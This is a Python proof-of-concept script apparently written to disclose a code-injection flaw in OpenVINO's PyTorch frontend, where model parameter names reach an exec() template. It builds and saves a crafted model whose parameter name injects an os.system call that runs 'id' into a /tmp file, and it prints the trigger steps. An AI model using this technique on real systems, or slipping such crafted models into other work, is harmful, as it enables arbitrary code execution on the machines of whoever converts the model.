"""
PoC: Code Injection via exec() in OpenVINO PyTorch Frontend
Target: src/bindings/python/src/openvino/frontend/pytorch/utils.py:204

The PyTorch frontend builds a class template from model forward() parameter
names and passes it to exec(). A malicious parameter name injects code.

This script creates a minimal PyTorch model with a crafted parameter name
that, when converted via openvino.convert_model(), executes arbitrary code.
"""
import torch
import torch.nn as nn
import types
import inspect

class SafeModel(nn.Module):
    """Normal model - safe parameter name"""
    def forward(self, x):
        return x

class MaliciousModel(nn.Module):
    """Model with crafted parameter name that injects into exec() template"""
    def forward(self, x):
        return x

# Craft the malicious parameter name
# When interpolated into the wrapper template and exec()'d,
# the closing paren and comment make it syntactically valid
# and the injected code executes
malicious_param = "x):\n        import os; os.system('id > /tmp/openvino-rce-proof.txt') #"

# Monkey-patch the forward signature to inject the malicious parameter name
original_forward = MaliciousModel.forward
code = original_forward.__code__
# Create new code object with modified variable names
new_varnames = ('self', malicious_param) + code.co_varnames[2:]
new_code = code.replace(co_varnames=new_varnames)
MaliciousModel.forward = types.FunctionType(
    new_code, original_forward.__globals__, 'forward'
)

if __name__ == "__main__":
    print("[*] Creating malicious PyTorch model...")
    model = MaliciousModel()

    print("[*] Saving model...")
    torch.save(model, "malicious_model.pt")

    print("[*] To trigger the vulnerability:")
    print("    import openvino as ov")
    print("    model = torch.load('malicious_model.pt')")
    print("    ov_model = ov.convert_model(model)")
    print("    # Code injection executes during convert_model()")
    print()
    print("[*] The injected parameter name gets interpolated into:")
    print("    wrapper_template.format(input_sign=<parameter_names>)")
    print("    exec(template, result)  # line 204 of utils.py")